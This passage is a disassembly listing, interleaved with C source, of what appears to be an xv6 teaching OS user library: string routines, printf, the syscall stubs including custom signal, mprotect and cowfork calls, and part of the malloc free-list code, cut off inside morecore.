3b8: 0f b6 00 movzbl (%eax),%eax
3bb: 38 c2 cmp %al,%dl
3bd: 74 de je 39d <strcmp+0x5>
return (uchar)*p - (uchar)*q;
3bf: 8b 45 08 mov 0x8(%ebp),%eax
3c2: 0f b6 00 movzbl (%eax),%eax
3c5: 0f b6 d0 movzbl %al,%edx
3c8: 8b 45 0c mov 0xc(%ebp),%eax
3cb: 0f b6 00 movzbl (%eax),%eax
3ce: 0f b6 c8 movzbl %al,%ecx
3d1: 89 d0 mov %edx,%eax
3d3: 29 c8 sub %ecx,%eax
}
3d5: 5d pop %ebp
3d6: c3 ret
000003d7 <strlen>:
uint
strlen(char *s)
{
3d7: 55 push %ebp
3d8: 89 e5 mov %esp,%ebp
3da: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3dd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3e4: eb 04 jmp 3ea <strlen+0x13>
3e6: 83 45 fc 01 addl $0x1,-0x4(%ebp)
3ea: 8b 55 fc mov -0x4(%ebp),%edx
3ed: 8b 45 08 mov 0x8(%ebp),%eax
3f0: 01 d0 add %edx,%eax
3f2: 0f b6 00 movzbl (%eax),%eax
3f5: 84 c0 test %al,%al
3f7: 75 ed jne 3e6 <strlen+0xf>
;
return n;
3f9: 8b 45 fc mov -0x4(%ebp),%eax
}
3fc: c9 leave
3fd: c3 ret
000003fe <memset>:
void*
memset(void *dst, int c, uint n)
{
3fe: 55 push %ebp
3ff: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
401: 8b 45 10 mov 0x10(%ebp),%eax
404: 50 push %eax
405: ff 75 0c push 0xc(%ebp)
408: ff 75 08 push 0x8(%ebp)
40b: e8 32 ff ff ff call 342 <stosb>
410: 83 c4 0c add $0xc,%esp
return dst;
413: 8b 45 08 mov 0x8(%ebp),%eax
}
416: c9 leave
417: c3 ret
00000418 <strchr>:
char*
strchr(const char *s, char c)
{
418: 55 push %ebp
419: 89 e5 mov %esp,%ebp
41b: 83 ec 04 sub $0x4,%esp
41e: 8b 45 0c mov 0xc(%ebp),%eax
421: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
424: eb 14 jmp 43a <strchr+0x22>
if(*s == c)
426: 8b 45 08 mov 0x8(%ebp),%eax
429: 0f b6 00 movzbl (%eax),%eax
42c: 38 45 fc cmp %al,-0x4(%ebp)
42f: 75 05 jne 436 <strchr+0x1e>
return (char*)s;
431: 8b 45 08 mov 0x8(%ebp),%eax
434: eb 13 jmp 449 <strchr+0x31>
for(; *s; s++)
436: 83 45 08 01 addl $0x1,0x8(%ebp)
43a: 8b 45 08 mov 0x8(%ebp),%eax
43d: 0f b6 00 movzbl (%eax),%eax
440: 84 c0 test %al,%al
442: 75 e2 jne 426 <strchr+0xe>
return 0;
444: b8 00 00 00 00 mov $0x0,%eax
}
449: c9 leave
44a: c3 ret
0000044b <gets>:
char*
gets(char *buf, int max)
{
44b: 55 push %ebp
44c: 89 e5 mov %esp,%ebp
44e: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
451: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
458: eb 42 jmp 49c <gets+0x51>
cc = read(0, &c, 1);
45a: 83 ec 04 sub $0x4,%esp
45d: 6a 01 push $0x1
45f: 8d 45 ef lea -0x11(%ebp),%eax
462: 50 push %eax
463: 6a 00 push $0x0
465: e8 77 01 00 00 call 5e1 <read>
46a: 83 c4 10 add $0x10,%esp
46d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
470: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
474: 7e 33 jle 4a9 <gets+0x5e>
break;
buf[i++] = c;
476: 8b 45 f4 mov -0xc(%ebp),%eax
479: 8d 50 01 lea 0x1(%eax),%edx
47c: 89 55 f4 mov %edx,-0xc(%ebp)
47f: 89 c2 mov %eax,%edx
481: 8b 45 08 mov 0x8(%ebp),%eax
484: 01 c2 add %eax,%edx
486: 0f b6 45 ef movzbl -0x11(%ebp),%eax
48a: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
48c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
490: 3c 0a cmp $0xa,%al
492: 74 16 je 4aa <gets+0x5f>
494: 0f b6 45 ef movzbl -0x11(%ebp),%eax
498: 3c 0d cmp $0xd,%al
49a: 74 0e je 4aa <gets+0x5f>
for(i=0; i+1 < max; ){
49c: 8b 45 f4 mov -0xc(%ebp),%eax
49f: 83 c0 01 add $0x1,%eax
4a2: 39 45 0c cmp %eax,0xc(%ebp)
4a5: 7f b3 jg 45a <gets+0xf>
4a7: eb 01 jmp 4aa <gets+0x5f>
break;
4a9: 90 nop
break;
}
buf[i] = '\0';
4aa: 8b 55 f4 mov -0xc(%ebp),%edx
4ad: 8b 45 08 mov 0x8(%ebp),%eax
4b0: 01 d0 add %edx,%eax
4b2: c6 00 00 movb $0x0,(%eax)
return buf;
4b5: 8b 45 08 mov 0x8(%ebp),%eax
}
4b8: c9 leave
4b9: c3 ret
000004ba <stat>:
int
stat(char *n, struct stat *st)
{
4ba: 55 push %ebp
4bb: 89 e5 mov %esp,%ebp
4bd: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4c0: 83 ec 08 sub $0x8,%esp
4c3: 6a 00 push $0x0
4c5: ff 75 08 push 0x8(%ebp)
4c8: e8 3c 01 00 00 call 609 <open>
4cd: 83 c4 10 add $0x10,%esp
4d0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
4d3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4d7: 79 07 jns 4e0 <stat+0x26>
return -1;
4d9: b8 ff ff ff ff mov $0xffffffff,%eax
4de: eb 25 jmp 505 <stat+0x4b>
r = fstat(fd, st);
4e0: 83 ec 08 sub $0x8,%esp
4e3: ff 75 0c push 0xc(%ebp)
4e6: ff 75 f4 push -0xc(%ebp)
4e9: e8 33 01 00 00 call 621 <fstat>
4ee: 83 c4 10 add $0x10,%esp
4f1: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
4f4: 83 ec 0c sub $0xc,%esp
4f7: ff 75 f4 push -0xc(%ebp)
4fa: e8 f2 00 00 00 call 5f1 <close>
4ff: 83 c4 10 add $0x10,%esp
return r;
502: 8b 45 f0 mov -0x10(%ebp),%eax
}
505: c9 leave
506: c3 ret
00000507 <atoi>:
int
atoi(const char *s)
{
507: 55 push %ebp
508: 89 e5 mov %esp,%ebp
50a: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
50d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
514: eb 25 jmp 53b <atoi+0x34>
n = n*10 + *s++ - '0';
516: 8b 55 fc mov -0x4(%ebp),%edx
519: 89 d0 mov %edx,%eax
51b: c1 e0 02 shl $0x2,%eax
51e: 01 d0 add %edx,%eax
520: 01 c0 add %eax,%eax
522: 89 c1 mov %eax,%ecx
524: 8b 45 08 mov 0x8(%ebp),%eax
527: 8d 50 01 lea 0x1(%eax),%edx
52a: 89 55 08 mov %edx,0x8(%ebp)
52d: 0f b6 00 movzbl (%eax),%eax
530: 0f be c0 movsbl %al,%eax
533: 01 c8 add %ecx,%eax
535: 83 e8 30 sub $0x30,%eax
538: 89 45 fc mov %eax,-0x4(%ebp)
while('0' <= *s && *s <= '9')
53b: 8b 45 08 mov 0x8(%ebp),%eax
53e: 0f b6 00 movzbl (%eax),%eax
541: 3c 2f cmp $0x2f,%al
543: 7e 0a jle 54f <atoi+0x48>
545: 8b 45 08 mov 0x8(%ebp),%eax
548: 0f b6 00 movzbl (%eax),%eax
54b: 3c 39 cmp $0x39,%al
54d: 7e c7 jle 516 <atoi+0xf>
return n;
54f: 8b 45 fc mov -0x4(%ebp),%eax
}
552: c9 leave
553: c3 ret
00000554 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
554: 55 push %ebp
555: 89 e5 mov %esp,%ebp
557: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
55a: 8b 45 08 mov 0x8(%ebp),%eax
55d: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
560: 8b 45 0c mov 0xc(%ebp),%eax
563: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
566: eb 17 jmp 57f <memmove+0x2b>
*dst++ = *src++;
568: 8b 55 f8 mov -0x8(%ebp),%edx
56b: 8d 42 01 lea 0x1(%edx),%eax
56e: 89 45 f8 mov %eax,-0x8(%ebp)
571: 8b 45 fc mov -0x4(%ebp),%eax
574: 8d 48 01 lea 0x1(%eax),%ecx
577: 89 4d fc mov %ecx,-0x4(%ebp)
57a: 0f b6 12 movzbl (%edx),%edx
57d: 88 10 mov %dl,(%eax)
while(n-- > 0)
57f: 8b 45 10 mov 0x10(%ebp),%eax
582: 8d 50 ff lea -0x1(%eax),%edx
585: 89 55 10 mov %edx,0x10(%ebp)
588: 85 c0 test %eax,%eax
58a: 7f dc jg 568 <memmove+0x14>
return vdst;
58c: 8b 45 08 mov 0x8(%ebp),%eax
}
58f: c9 leave
590: c3 ret
00000591 <restorer>:
591: 83 c4 0c add $0xc,%esp
594: 5a pop %edx
595: 59 pop %ecx
596: 58 pop %eax
597: c3 ret
00000598 <signal>:
"pop %ecx\n\t"
"pop %eax\n\t"
"ret\n\t");
int signal(int signum, void(*handler)(int))
{
598: 55 push %ebp
599: 89 e5 mov %esp,%ebp
59b: 83 ec 08 sub $0x8,%esp
signal_restorer(restorer);
59e: 83 ec 0c sub $0xc,%esp
5a1: 68 91 05 00 00 push $0x591
5a6: e8 ce 00 00 00 call 679 <signal_restorer>
5ab: 83 c4 10 add $0x10,%esp
return signal_register(signum, handler);
5ae: 83 ec 08 sub $0x8,%esp
5b1: ff 75 0c push 0xc(%ebp)
5b4: ff 75 08 push 0x8(%ebp)
5b7: e8 b5 00 00 00 call 671 <signal_register>
5bc: 83 c4 10 add $0x10,%esp
5bf: c9 leave
5c0: c3 ret
000005c1 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
5c1: b8 01 00 00 00 mov $0x1,%eax
5c6: cd 40 int $0x40
5c8: c3 ret
000005c9 <exit>:
SYSCALL(exit)
5c9: b8 02 00 00 00 mov $0x2,%eax
5ce: cd 40 int $0x40
5d0: c3 ret
000005d1 <wait>:
SYSCALL(wait)
5d1: b8 03 00 00 00 mov $0x3,%eax
5d6: cd 40 int $0x40
5d8: c3 ret
000005d9 <pipe>:
SYSCALL(pipe)
5d9: b8 04 00 00 00 mov $0x4,%eax
5de: cd 40 int $0x40
5e0: c3 ret
000005e1 <read>:
SYSCALL(read)
5e1: b8 05 00 00 00 mov $0x5,%eax
5e6: cd 40 int $0x40
5e8: c3 ret
000005e9 <write>:
SYSCALL(write)
5e9: b8 10 00 00 00 mov $0x10,%eax
5ee: cd 40 int $0x40
5f0: c3 ret
000005f1 <close>:
SYSCALL(close)
5f1: b8 15 00 00 00 mov $0x15,%eax
5f6: cd 40 int $0x40
5f8: c3 ret
000005f9 <kill>:
SYSCALL(kill)
5f9: b8 06 00 00 00 mov $0x6,%eax
5fe: cd 40 int $0x40
600: c3 ret
00000601 <exec>:
SYSCALL(exec)
601: b8 07 00 00 00 mov $0x7,%eax
606: cd 40 int $0x40
608: c3 ret
00000609 <open>:
SYSCALL(open)
609: b8 0f 00 00 00 mov $0xf,%eax
60e: cd 40 int $0x40
610: c3 ret
00000611 <mknod>:
SYSCALL(mknod)
611: b8 11 00 00 00 mov $0x11,%eax
616: cd 40 int $0x40
618: c3 ret
00000619 <unlink>:
SYSCALL(unlink)
619: b8 12 00 00 00 mov $0x12,%eax
61e: cd 40 int $0x40
620: c3 ret
00000621 <fstat>:
SYSCALL(fstat)
621: b8 08 00 00 00 mov $0x8,%eax
626: cd 40 int $0x40
628: c3 ret
00000629 <link>:
SYSCALL(link)
629: b8 13 00 00 00 mov $0x13,%eax
62e: cd 40 int $0x40
630: c3 ret
00000631 <mkdir>:
SYSCALL(mkdir)
631: b8 14 00 00 00 mov $0x14,%eax
636: cd 40 int $0x40
638: c3 ret
00000639 <chdir>:
SYSCALL(chdir)
639: b8 09 00 00 00 mov $0x9,%eax
63e: cd 40 int $0x40
640: c3 ret
00000641 <dup>:
SYSCALL(dup)
641: b8 0a 00 00 00 mov $0xa,%eax
646: cd 40 int $0x40
648: c3 ret
00000649 <getpid>:
SYSCALL(getpid)
649: b8 0b 00 00 00 mov $0xb,%eax
64e: cd 40 int $0x40
650: c3 ret
00000651 <sbrk>:
SYSCALL(sbrk)
651: b8 0c 00 00 00 mov $0xc,%eax
656: cd 40 int $0x40
658: c3 ret
00000659 <sleep>:
SYSCALL(sleep)
659: b8 0d 00 00 00 mov $0xd,%eax
65e: cd 40 int $0x40
660: c3 ret
00000661 <uptime>:
SYSCALL(uptime)
661: b8 0e 00 00 00 mov $0xe,%eax
666: cd 40 int $0x40
668: c3 ret
00000669 <halt>:
SYSCALL(halt)
669: b8 16 00 00 00 mov $0x16,%eax
66e: cd 40 int $0x40
670: c3 ret
00000671 <signal_register>:
SYSCALL(signal_register)
671: b8 17 00 00 00 mov $0x17,%eax
676: cd 40 int $0x40
678: c3 ret
00000679 <signal_restorer>:
SYSCALL(signal_restorer)
679: b8 18 00 00 00 mov $0x18,%eax
67e: cd 40 int $0x40
680: c3 ret
00000681 <mprotect>:
SYSCALL(mprotect)
681: b8 19 00 00 00 mov $0x19,%eax
686: cd 40 int $0x40
688: c3 ret
00000689 <cowfork>:
SYSCALL(cowfork)
689: b8 1a 00 00 00 mov $0x1a,%eax
68e: cd 40 int $0x40
690: c3 ret
00000691 <dsbrk>:
SYSCALL(dsbrk)
691: b8 1b 00 00 00 mov $0x1b,%eax
696: cd 40 int $0x40
698: c3 ret
00000699 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
699: 55 push %ebp
69a: 89 e5 mov %esp,%ebp
69c: 83 ec 18 sub $0x18,%esp
69f: 8b 45 0c mov 0xc(%ebp),%eax
6a2: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
6a5: 83 ec 04 sub $0x4,%esp
6a8: 6a 01 push $0x1
6aa: 8d 45 f4 lea -0xc(%ebp),%eax
6ad: 50 push %eax
6ae: ff 75 08 push 0x8(%ebp)
6b1: e8 33 ff ff ff call 5e9 <write>
6b6: 83 c4 10 add $0x10,%esp
}
6b9: 90 nop
6ba: c9 leave
6bb: c3 ret
000006bc <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
6bc: 55 push %ebp
6bd: 89 e5 mov %esp,%ebp
6bf: 83 ec 28 sub $0x28,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
6c2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
6c9: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
6cd: 74 17 je 6e6 <printint+0x2a>
6cf: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
6d3: 79 11 jns 6e6 <printint+0x2a>
neg = 1;
6d5: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
6dc: 8b 45 0c mov 0xc(%ebp),%eax
6df: f7 d8 neg %eax
6e1: 89 45 ec mov %eax,-0x14(%ebp)
6e4: eb 06 jmp 6ec <printint+0x30>
} else {
x = xx;
6e6: 8b 45 0c mov 0xc(%ebp),%eax
6e9: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
6ec: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
6f3: 8b 4d 10 mov 0x10(%ebp),%ecx
6f6: 8b 45 ec mov -0x14(%ebp),%eax
6f9: ba 00 00 00 00 mov $0x0,%edx
6fe: f7 f1 div %ecx
700: 89 d1 mov %edx,%ecx
702: 8b 45 f4 mov -0xc(%ebp),%eax
705: 8d 50 01 lea 0x1(%eax),%edx
708: 89 55 f4 mov %edx,-0xc(%ebp)
70b: 0f b6 91 78 0b 00 00 movzbl 0xb78(%ecx),%edx
712: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1)
}while((x /= base) != 0);
716: 8b 4d 10 mov 0x10(%ebp),%ecx
719: 8b 45 ec mov -0x14(%ebp),%eax
71c: ba 00 00 00 00 mov $0x0,%edx
721: f7 f1 div %ecx
723: 89 45 ec mov %eax,-0x14(%ebp)
726: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
72a: 75 c7 jne 6f3 <printint+0x37>
if(neg)
72c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
730: 74 2d je 75f <printint+0xa3>
buf[i++] = '-';
732: 8b 45 f4 mov -0xc(%ebp),%eax
735: 8d 50 01 lea 0x1(%eax),%edx
738: 89 55 f4 mov %edx,-0xc(%ebp)
73b: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
740: eb 1d jmp 75f <printint+0xa3>
putc(fd, buf[i]);
742: 8d 55 dc lea -0x24(%ebp),%edx
745: 8b 45 f4 mov -0xc(%ebp),%eax
748: 01 d0 add %edx,%eax
74a: 0f b6 00 movzbl (%eax),%eax
74d: 0f be c0 movsbl %al,%eax
750: 83 ec 08 sub $0x8,%esp
753: 50 push %eax
754: ff 75 08 push 0x8(%ebp)
757: e8 3d ff ff ff call 699 <putc>
75c: 83 c4 10 add $0x10,%esp
while(--i >= 0)
75f: 83 6d f4 01 subl $0x1,-0xc(%ebp)
763: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
767: 79 d9 jns 742 <printint+0x86>
}
769: 90 nop
76a: 90 nop
76b: c9 leave
76c: c3 ret
0000076d <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
76d: 55 push %ebp
76e: 89 e5 mov %esp,%ebp
770: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
773: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
77a: 8d 45 0c lea 0xc(%ebp),%eax
77d: 83 c0 04 add $0x4,%eax
780: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
783: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
78a: e9 59 01 00 00 jmp 8e8 <printf+0x17b>
c = fmt[i] & 0xff;
78f: 8b 55 0c mov 0xc(%ebp),%edx
792: 8b 45 f0 mov -0x10(%ebp),%eax
795: 01 d0 add %edx,%eax
797: 0f b6 00 movzbl (%eax),%eax
79a: 0f be c0 movsbl %al,%eax
79d: 25 ff 00 00 00 and $0xff,%eax
7a2: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
7a5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
7a9: 75 2c jne 7d7 <printf+0x6a>
if(c == '%'){
7ab: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
7af: 75 0c jne 7bd <printf+0x50>
state = '%';
7b1: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
7b8: e9 27 01 00 00 jmp 8e4 <printf+0x177>
} else {
putc(fd, c);
7bd: 8b 45 e4 mov -0x1c(%ebp),%eax
7c0: 0f be c0 movsbl %al,%eax
7c3: 83 ec 08 sub $0x8,%esp
7c6: 50 push %eax
7c7: ff 75 08 push 0x8(%ebp)
7ca: e8 ca fe ff ff call 699 <putc>
7cf: 83 c4 10 add $0x10,%esp
7d2: e9 0d 01 00 00 jmp 8e4 <printf+0x177>
}
} else if(state == '%'){
7d7: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
7db: 0f 85 03 01 00 00 jne 8e4 <printf+0x177>
if(c == 'd'){
7e1: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
7e5: 75 1e jne 805 <printf+0x98>
printint(fd, *ap, 10, 1);
7e7: 8b 45 e8 mov -0x18(%ebp),%eax
7ea: 8b 00 mov (%eax),%eax
7ec: 6a 01 push $0x1
7ee: 6a 0a push $0xa
7f0: 50 push %eax
7f1: ff 75 08 push 0x8(%ebp)
7f4: e8 c3 fe ff ff call 6bc <printint>
7f9: 83 c4 10 add $0x10,%esp
ap++;
7fc: 83 45 e8 04 addl $0x4,-0x18(%ebp)
800: e9 d8 00 00 00 jmp 8dd <printf+0x170>
} else if(c == 'x' || c == 'p'){
805: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
809: 74 06 je 811 <printf+0xa4>
80b: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
80f: 75 1e jne 82f <printf+0xc2>
printint(fd, *ap, 16, 0);
811: 8b 45 e8 mov -0x18(%ebp),%eax
814: 8b 00 mov (%eax),%eax
816: 6a 00 push $0x0
818: 6a 10 push $0x10
81a: 50 push %eax
81b: ff 75 08 push 0x8(%ebp)
81e: e8 99 fe ff ff call 6bc <printint>
823: 83 c4 10 add $0x10,%esp
ap++;
826: 83 45 e8 04 addl $0x4,-0x18(%ebp)
82a: e9 ae 00 00 00 jmp 8dd <printf+0x170>
} else if(c == 's'){
82f: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
833: 75 43 jne 878 <printf+0x10b>
s = (char*)*ap;
835: 8b 45 e8 mov -0x18(%ebp),%eax
838: 8b 00 mov (%eax),%eax
83a: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
83d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
841: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
845: 75 25 jne 86c <printf+0xff>
s = "(null)";
847: c7 45 f4 6e 0b 00 00 movl $0xb6e,-0xc(%ebp)
while(*s != 0){
84e: eb 1c jmp 86c <printf+0xff>
putc(fd, *s);
850: 8b 45 f4 mov -0xc(%ebp),%eax
853: 0f b6 00 movzbl (%eax),%eax
856: 0f be c0 movsbl %al,%eax
859: 83 ec 08 sub $0x8,%esp
85c: 50 push %eax
85d: ff 75 08 push 0x8(%ebp)
860: e8 34 fe ff ff call 699 <putc>
865: 83 c4 10 add $0x10,%esp
s++;
868: 83 45 f4 01 addl $0x1,-0xc(%ebp)
while(*s != 0){
86c: 8b 45 f4 mov -0xc(%ebp),%eax
86f: 0f b6 00 movzbl (%eax),%eax
872: 84 c0 test %al,%al
874: 75 da jne 850 <printf+0xe3>
876: eb 65 jmp 8dd <printf+0x170>
}
} else if(c == 'c'){
878: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
87c: 75 1d jne 89b <printf+0x12e>
putc(fd, *ap);
87e: 8b 45 e8 mov -0x18(%ebp),%eax
881: 8b 00 mov (%eax),%eax
883: 0f be c0 movsbl %al,%eax
886: 83 ec 08 sub $0x8,%esp
889: 50 push %eax
88a: ff 75 08 push 0x8(%ebp)
88d: e8 07 fe ff ff call 699 <putc>
892: 83 c4 10 add $0x10,%esp
ap++;
895: 83 45 e8 04 addl $0x4,-0x18(%ebp)
899: eb 42 jmp 8dd <printf+0x170>
} else if(c == '%'){
89b: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
89f: 75 17 jne 8b8 <printf+0x14b>
putc(fd, c);
8a1: 8b 45 e4 mov -0x1c(%ebp),%eax
8a4: 0f be c0 movsbl %al,%eax
8a7: 83 ec 08 sub $0x8,%esp
8aa: 50 push %eax
8ab: ff 75 08 push 0x8(%ebp)
8ae: e8 e6 fd ff ff call 699 <putc>
8b3: 83 c4 10 add $0x10,%esp
8b6: eb 25 jmp 8dd <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
8b8: 83 ec 08 sub $0x8,%esp
8bb: 6a 25 push $0x25
8bd: ff 75 08 push 0x8(%ebp)
8c0: e8 d4 fd ff ff call 699 <putc>
8c5: 83 c4 10 add $0x10,%esp
putc(fd, c);
8c8: 8b 45 e4 mov -0x1c(%ebp),%eax
8cb: 0f be c0 movsbl %al,%eax
8ce: 83 ec 08 sub $0x8,%esp
8d1: 50 push %eax
8d2: ff 75 08 push 0x8(%ebp)
8d5: e8 bf fd ff ff call 699 <putc>
8da: 83 c4 10 add $0x10,%esp
}
state = 0;
8dd: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
for(i = 0; fmt[i]; i++){
8e4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
8e8: 8b 55 0c mov 0xc(%ebp),%edx
8eb: 8b 45 f0 mov -0x10(%ebp),%eax
8ee: 01 d0 add %edx,%eax
8f0: 0f b6 00 movzbl (%eax),%eax
8f3: 84 c0 test %al,%al
8f5: 0f 85 94 fe ff ff jne 78f <printf+0x22>
}
}
}
8fb: 90 nop
8fc: 90 nop
8fd: c9 leave
8fe: c3 ret
000008ff <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8ff: 55 push %ebp
900: 89 e5 mov %esp,%ebp
902: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
905: 8b 45 08 mov 0x8(%ebp),%eax
908: 83 e8 08 sub $0x8,%eax
90b: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
90e: a1 a4 0b 00 00 mov 0xba4,%eax
913: 89 45 fc mov %eax,-0x4(%ebp)
916: eb 24 jmp 93c <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
918: 8b 45 fc mov -0x4(%ebp),%eax
91b: 8b 00 mov (%eax),%eax
91d: 39 45 fc cmp %eax,-0x4(%ebp)
920: 72 12 jb 934 <free+0x35>
922: 8b 45 f8 mov -0x8(%ebp),%eax
925: 3b 45 fc cmp -0x4(%ebp),%eax
928: 77 24 ja 94e <free+0x4f>
92a: 8b 45 fc mov -0x4(%ebp),%eax
92d: 8b 00 mov (%eax),%eax
92f: 39 45 f8 cmp %eax,-0x8(%ebp)
932: 72 1a jb 94e <free+0x4f>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
934: 8b 45 fc mov -0x4(%ebp),%eax
937: 8b 00 mov (%eax),%eax
939: 89 45 fc mov %eax,-0x4(%ebp)
93c: 8b 45 f8 mov -0x8(%ebp),%eax
93f: 3b 45 fc cmp -0x4(%ebp),%eax
942: 76 d4 jbe 918 <free+0x19>
944: 8b 45 fc mov -0x4(%ebp),%eax
947: 8b 00 mov (%eax),%eax
949: 39 45 f8 cmp %eax,-0x8(%ebp)
94c: 73 ca jae 918 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
94e: 8b 45 f8 mov -0x8(%ebp),%eax
951: 8b 40 04 mov 0x4(%eax),%eax
954: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
95b: 8b 45 f8 mov -0x8(%ebp),%eax
95e: 01 c2 add %eax,%edx
960: 8b 45 fc mov -0x4(%ebp),%eax
963: 8b 00 mov (%eax),%eax
965: 39 c2 cmp %eax,%edx
967: 75 24 jne 98d <free+0x8e>
bp->s.size += p->s.ptr->s.size;
969: 8b 45 f8 mov -0x8(%ebp),%eax
96c: 8b 50 04 mov 0x4(%eax),%edx
96f: 8b 45 fc mov -0x4(%ebp),%eax
972: 8b 00 mov (%eax),%eax
974: 8b 40 04 mov 0x4(%eax),%eax
977: 01 c2 add %eax,%edx
979: 8b 45 f8 mov -0x8(%ebp),%eax
97c: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
97f: 8b 45 fc mov -0x4(%ebp),%eax
982: 8b 00 mov (%eax),%eax
984: 8b 10 mov (%eax),%edx
986: 8b 45 f8 mov -0x8(%ebp),%eax
989: 89 10 mov %edx,(%eax)
98b: eb 0a jmp 997 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
98d: 8b 45 fc mov -0x4(%ebp),%eax
990: 8b 10 mov (%eax),%edx
992: 8b 45 f8 mov -0x8(%ebp),%eax
995: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
997: 8b 45 fc mov -0x4(%ebp),%eax
99a: 8b 40 04 mov 0x4(%eax),%eax
99d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
9a4: 8b 45 fc mov -0x4(%ebp),%eax
9a7: 01 d0 add %edx,%eax
9a9: 39 45 f8 cmp %eax,-0x8(%ebp)
9ac: 75 20 jne 9ce <free+0xcf>
p->s.size += bp->s.size;
9ae: 8b 45 fc mov -0x4(%ebp),%eax
9b1: 8b 50 04 mov 0x4(%eax),%edx
9b4: 8b 45 f8 mov -0x8(%ebp),%eax
9b7: 8b 40 04 mov 0x4(%eax),%eax
9ba: 01 c2 add %eax,%edx
9bc: 8b 45 fc mov -0x4(%ebp),%eax
9bf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
9c2: 8b 45 f8 mov -0x8(%ebp),%eax
9c5: 8b 10 mov (%eax),%edx
9c7: 8b 45 fc mov -0x4(%ebp),%eax
9ca: 89 10 mov %edx,(%eax)
9cc: eb 08 jmp 9d6 <free+0xd7>
} else
p->s.ptr = bp;
9ce: 8b 45 fc mov -0x4(%ebp),%eax
9d1: 8b 55 f8 mov -0x8(%ebp),%edx
9d4: 89 10 mov %edx,(%eax)
freep = p;
9d6: 8b 45 fc mov -0x4(%ebp),%eax
9d9: a3 a4 0b 00 00 mov %eax,0xba4
}
9de: 90 nop
9df: c9 leave
9e0: c3 ret
000009e1 <morecore>:
static Header*
morecore(uint nu)
{
9e1: 55 push %ebp
9e2: 89 e5 mov %esp,%ebp
9e4: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
9e7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
